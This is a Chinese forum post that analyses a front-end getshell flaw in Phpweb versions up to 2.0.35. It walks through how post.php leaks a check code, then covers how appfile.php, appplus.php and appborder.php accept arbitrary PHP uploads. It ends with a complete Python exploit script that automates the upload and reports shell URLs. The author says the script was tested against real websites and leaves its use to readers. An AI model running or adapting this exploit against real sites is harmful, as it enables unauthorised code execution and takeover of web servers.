phpweb前台getshell漏洞原理和各文件的利用方式【通过】

漏洞影响版本

Phpweb<=2.0.35

漏洞影响文件

  • /base/post.php
  • /base/appfile.php
  • /base/appplue.php
  • /base/appborder.php

Poc脚本语言

python3.7

/base/post.php

这个文件是漏洞利用的第一个文件,因此必须确保它能被访问,由截图可看出从post数据中取出act元素,其值用于switch-case使用,我们要利用的代码在文件末尾,当case值为“appcode”时可获取校验码,那么post数据为“act:appcode”

image

继续分析可以看到当apptype为“plus、border”两种情况时进入对应的数据库查询,若无结果直接返回,不输出校验码,这里记录下他们的sql语句,后续编写poc会用到

Plus:

select id from {P}_base_plusdefault where `pluslable`='$pluslable”、“select id from {P}_base_coltype where `coltype`='$coltype'

Border:

select id from {P}_base_border where `tempid`='$tempid'

当apptype为其他值时,则会直接输出校验码,我们利用这个文件的最终目的就是要获取到校验码,它长这样

k=a0811e9f4f9ccc0a0db155e355d255d3&t=1580544777

Poc代码

网上已经有很多了,就不介绍了,下面是该文件关于appfile.php poc的片段。

postmd5 = { **"act"** : **"appcode"** }
r = requests.post(url + **'/base/post.php'** , data=postmd5)
if r.text.__len__() > 32:
    m = hashlib.md5()
    m.update((r.text[2:34] + **"a"** ).encode(encoding= **'utf-8'** ))
    gmd5 = m.hexdigest()
    print( **'gmd5:'** + gmd5)

/base/appfile.php

这个文件和漏洞原因已经有很多介绍了就不多说(校验码的二次加密参数是由用户决定的$_POST["t"]),注意$_POST["path"]其实不是必须的就行,这里没使用path参数,检查目录名时写死了路径,它是第一个可利用的文件

image

image

Poc代码

使用header头+post数据的方式请求,首先构造头和请求数据,这个变量是共用的,在各个文件poc里面加上校验值M即可。

image

构造poc并发送,每个文件的利用都不同

image

/base/appplus.php

该文件可以看作appfile.php的变种文件,其中$_POST["path"]有了用武之地,我们可以指定上传文件的存放目录。分析检查目录代码,发现当path值为空时会使用默认的update目录存放,但是不为空则会先创建权限为777的目录,再在目录下创建文件(已测试)

image

这个文件除了upload以外还有其他功能,可以看到mkdir功能同样会创建权限为777的目录

image

目录创建时没有校验路径,理论上可将文件写入到任意目录去,有的大马会修改网站目录(/effect/source/bg)权限,我们无法直接上传,可以借用目录功能将我们的文件写到别的路径。

各个文件可用的功能:

appfile_act = [ 'upload' ]
appappplue_act = [ 'upload' , 'mkdir' , 'dbinstall' ]
appborder_act = [ 'upload' , 'mkdir' , 'dbinstall' , 'mktempdir']

Poc代码

关于校验值的获取,根据前面post.php的sql语句,了解到post中需要有pluslable和coltype字段,并且他们要在数据库中能查到。自建站中两个表的截图如下

image

这里我选了几个存在概率较大的值组成list用于尝试获取校验码

image

同样,由于上传可指定目录,也挑选了几个目录用于上传

image

/base/appborder.php

同样可以看作appfile.php的变种文件,源码中我们可以看到,这个文件存在一个模版边框号校验

image

而upload中存在一个tempid值为必选,其中path可选。所以上传文件的目录为

www/base/border/tempid/[path]/filename

image

分析下面截图的代码,当我们不知到能上传到哪个tempid文件夹时,可以将act值设为mktempdir在数据库中安装一个模版,再将act的值设为mktempdir创建一个文件夹用于保证上传文件。

Poc代码

同样根据前面post.php的sql语句,获取到需要tempid,表姐图如下

image

选几个数据库和文件夹都存在概率较大tempid的组成list,编写poc

上传文件时,也根据list进行尝试上传

image

完整poc代码

# !/usr/bin/env python

# coding=utf-8

# python version 3.7

# Phpweb<=2.0.35

# 漏洞参考 https://m4tir.github.io/Phpweb-Reception-Getshell

# 漏洞影响文件:/base/post.php /base/appfile.php /base/appplue.php /base/appborder.php



import sys

import requests

import hashlib



# 各文件只使用了upload功能

appfile_act = ['upload']

appappplue_act = ['upload', 'mkdir', 'dbinstall']

appborder_act = ['upload', 'mkdir', 'dbinstall', 'mktempdir']



# 构造请求数据,格式很重要,请勿更改

header_guEss = {'Content-Type': 'multipart/form-data; boundary="guEss"'}

apppoc = """--guEss

Content-Disposition: form-data; name="file"; filename="readme.php"

Content-Type: application/octet-stream\n

<?echo "Hello guEss";?>

--guEss

Content-Disposition: form-data; name="t"\n\na\n--guEss

Content-Disposition: form-data; name="act"\n\nupload\n--guEss

Content-Disposition: form-data; name="r_size"\n\n23\n--guEss

Content-Disposition: form-data; name="m"\n\n"""





# appfile.php文件利用

def appfilepoc(url):

    # 得到加密后的MD5值

    postmd5 = {"act": "appcode"}

    r = requests.post(url + '/base/post.php', data=postmd5)

    if r.text.__len__() > 32:

        m = hashlib.md5()

        m.update((r.text[2:34] + "a").encode(encoding='utf-8'))

        gmd5 = m.hexdigest()

        print('gmd5:' + gmd5)

        # 构造poc并发送

        pocdata = apppoc + gmd5 + '\n--guEss\n'

        r = requests.post(url + '/base/appfile.php', data=pocdata, headers=header_guEss)  # 有的大马会将文件名改为appfile1.php你懂的

        r.encoding = 'utf-8'

        print(r.text)

        if r.text.find('ERROR') == -1:

            print('get shell success:' + url + '/effect/source/bg/readme.php')

            return url + '/effect/source/bg/readme.php'

    else:

        print('error:can`t get check key')

    return ''





# appplus.php文件利用

def apppluspoc(url):

    coltypelist = ['effect', 'news', 'index', 'down', 'search', 'photo', 'feedback']

    pluslablelist = ['all', 'news', 'search', 'index', 'photo']

    for p in pluslablelist:

        for c in coltypelist:

            postmd5 = {"act": "appcode", "apptype": "plus", "pluslable": p, "coltype": c}

            r = requests.post(url + '/base/post.php', data=postmd5)

            print(r.text)

            if r.text.__len__() < 32:

                continue

            m = hashlib.md5()

            m.update((r.text[2:34] + "a").encode(encoding='utf-8'))

            gmd5 = m.hexdigest()

            print('gmd5:' + gmd5)

            break

        if gmd5 != '':

            break

    if gmd5 != '':

        pathpoc = """Content-Disposition: form-data; name="path"\n\n"""

        pathlist = ['photo', 'news', 'tools', 'update']

        for p in pathlist:

            pocdata = apppoc + gmd5 + '\n--guEss\n' + pathpoc + p + '\n--guEss\n'

            r = requests.post(url + '/base/appplus.php', data=pocdata, headers=header_guEss)

            r.encoding = 'utf-8'

            print(r.text)

            if r.text.find('ERROR') == -1:

                print('get shell success:' + url + '/'+p+'/readme.php')

                return url + '/'+p+'/readme.php'

    else:

        print('error:can`t get check key')

    return ''





# appborder.php文件利用

def appborderpoc(url):

    templist = ['781', '780', '788', '001', '012', '015', '016', '018', '051', '201', '204', '500', '526', '613', '614']

    gmd5 = ''

    for t in templist:

        postmd5 = {"act": "appcode", "apptype": "border", "tempid": t}

        r = requests.post(url + '/base/post.php', data=postmd5)

        print(r.text)

        if r.text.__len__() < 32:

            continue

        m = hashlib.md5()

        m.update((r.text[2:34] + "a").encode(encoding='utf-8'))

        gmd5 = m.hexdigest()

        print('gmd5:' + gmd5)

        break

    if gmd5 != '':

        tempidpoc = """Content-Disposition: form-data; name="tempid"\n\n"""

        for t in templist:

            pocdata = apppoc + gmd5 + '\n--guEss\n' + tempidpoc + t + '\n--guEss\n'

            r = requests.post(url + '/base/appborder.php', data=pocdata, headers=header_guEss)

            r.encoding = 'utf-8'

            print(r.text)

            if r.text.find('ERROR') == -1:

                print('get shell success:' + url + '/base/border/' + t + '/readme.php')

                return url + '/base/border/' + t + '/readme.php'

    else:

        print('error:can`t get check key')

    return ''

if __name__ == "__main__":

    url = 'http://www.xxx.com'

    appfilepoc(url)

    apppluspoc(url)

    appborderpoc(url)

怎么使用大家就各自发挥了,每个函数都测试通过了的,大家看代码应该就了解了。

下面是真实网站运行截图,appfile失败是因为网站的appfile.php别人的大马改成appfile1.php了。

image

  • 通过
  • 未通过

0 投票者

大家好,很高兴入住90 :grinning:

6 个赞